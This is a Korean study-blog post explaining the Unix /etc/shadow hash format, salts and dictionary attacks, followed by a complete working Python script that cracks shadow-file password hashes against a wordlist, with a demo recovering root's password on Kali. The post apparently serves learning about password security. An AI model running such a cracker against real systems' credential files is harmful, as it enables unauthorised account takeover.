yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆

Unix 패스워드 트래커 본문

개발/Python

Unix 패스워드 트래커

yehey 2020. 11. 15. 21:42

unix /etc/passwd, /etc/shadow

unix에서는 passwd라는 파일에 사용자 정보들을 담고 있다.

초기에는 passwd 파일에 해시 값을 직접 보관했으나, /etc/shadow 파일로 분리되었다.

/etc/shadow 파일에는 민감한 정보가 Hash 스트링으로 변환되어 저장되어 있다.

일반 유저는 접근할 수 없다.

Unix 패스워드 크래커

shadow 파일의 hash library 값과 공격자의 입력을 해시한 값과 비교해서 일치하는 패스워드를 얻어낸다.

/etc/shadow 파일 분석

기본적으로 shadow파일은 위와 같은 형식을 띈다.

패스워드 크래커에서 눈여겨보아야할 부분은 encrypted 이다.

encrypted는 $로 구분되어 있으며, 첫번째 자리에는 hash id, 두번째는 salt, 마지막에는 hash 값이 있다.

hash id

  • 1: md5
  • 2: BlowFish
  • 5: SHA-256
  • 6: SHA-512

salt

:원본 패스워드에 추가하는 임의의 값으로 암복호화를 복잡하게 할 용도로 사용한다.

대체로 복호화를 할 수 없게끔 만들어 dictionary attack에 대응한다.

(하지만 bruteforce attack에는 효과가 없다.)

 

dictionary attack?
:수십만개의 단어가 수록되어 있는 사전을 바탕으로 단어들을 순차적으로 입력하여 암호를 알아내기 위한 공격
사전의 단어들을 컴퓨터에 자동 처리 시켜 bruteforce attack 보다 효율적이나 사전에 패스워드가 존재하지 않는 경우 패스워드를 찾아낼 수 없다.
dictionary attack을 방지하기 위해서는 의미가 있는 단어를 패스워드로 사용하지 않고, 기호나 숫자 등을 랜덤으로 결합하는 방법을 사용한다.

레인보우 테이블
: dictionary attack을 조금 더 효율적이게 할 목적으로 해시값들을 대량으로 저장한 표
해시함수를 사용하여 만들어낼 수 있는 값들을 저장하고 있다.
그러나 해싱을 하며 패스워드에 salt가 추가된다면 사용할 수 없다.

unix 패스워드 크래커 코드

#! python
# -*- coding: UTF-8 -*-
# unix password crack program
 
# import 실패 시 프로그램 종료 : crypt 파일이 Unix & Linux 파일에만 존재
try:
    import crypt
    import optparse
    import sys
except Exception as e:
    print ("This tool for Unix or Linux System")
    sys.exit(0)
    
# optparse
parser = optparse.OptionParser('uage %prog -t <taget shadow file> -d <dictionary file>')
parser.add_option('-t', dest='shadowfile', type='string', help='specify target shadow file')
parser.add_option('-d', dest='dicfile', type='string', help='specify dictionary file>')
 
# 전역변수 초기화
(option, args) = parser.parse_args()
shadowfile = option.shadowfile
dicfile = option.dicfile
 
# 입력값 검증
if (shadowfile == None) | (dicfile == None):
    print(parser.usage)
    sys.exit(0)                  
    
# 패스워드 테스트 함수
def testPass(cryptPass):
    # 만약 패스워드가 존재할 시에... (패스워드 필드를 $로 구분함)
    if cryptPass.find('$')==-1:
        return
    
    # 필드를 쪼개어 패스워드 필드를 추출해냄
    cryptPass1 = cryptPass.split('$')
    hashtype = cryptPass1[1]
    salt = cryptPass1[2]
    pass1 = cryptPass1[3]
    
    # 딕셔너리의 단어 해시 값과 실제 패스워드 해시 값을 비교
    dictFile = open(dicfile,'r')
    for word in dictFile.readlines():
        cryptWord = crypt.crypt(word[:-1],'$'+hashtype+'$'+salt)    #-1은 enter를 제거하기 위함
        list1=cryptWord.split('$')
        cryptWord=list1[3]
        if(cryptWord == pass1): #만든 hash 값과 가져온 값이 같으면 
            print ("[+] Found Password : "+word[:-1])
            return
    print ("[-] Password Not Found. ")
    return
 
# main 함수
def main():
    passFile = open(shadowfile)
    for line in passFile.readlines():
        if ":" in line:
            user = line.split(':')[0]
            cryptPass = line.split(':')[1].strip(' ')
            print("[*] Cracking Password For: " + user)
            testPass(cryptPass)
            
if __name__=="__main__":
    main()

 

복호화하려는 shadow 파일과 사용할 사전, 코드를 같은 디렉터리에 배치하고 터미널에서 다음 명령어를 입력한다.

python [패스워드 크래커 .py 파일] -t [shadow파일] -d [dictionary]

 

칼리 리눅스에서 shadow파일과 dictionary를 이용해서 실행한 결과는 위와 같았다.

root 계정의 pw=toor

다른 계정의 경우 패스워드가 아예 존재하지 않아서 (shadow파일에서 encrypted부분이 없음 즉, 암호화된 값이 없다.) 출력되지 않는다.

'개발 > Python' 카테고리의 다른 글

python으로 스택 문제 시도  (0) 2021.01.21
윈도우 키로거  (0) 2020.11.15
포트 스캐너 (스레드, Nmap, optparse)  (0) 2020.10.11
python을 이용한 백도어 개발  (0) 2020.09.28
HTTP 요청 메시지, Fuzzing  (0) 2020.09.21
Comments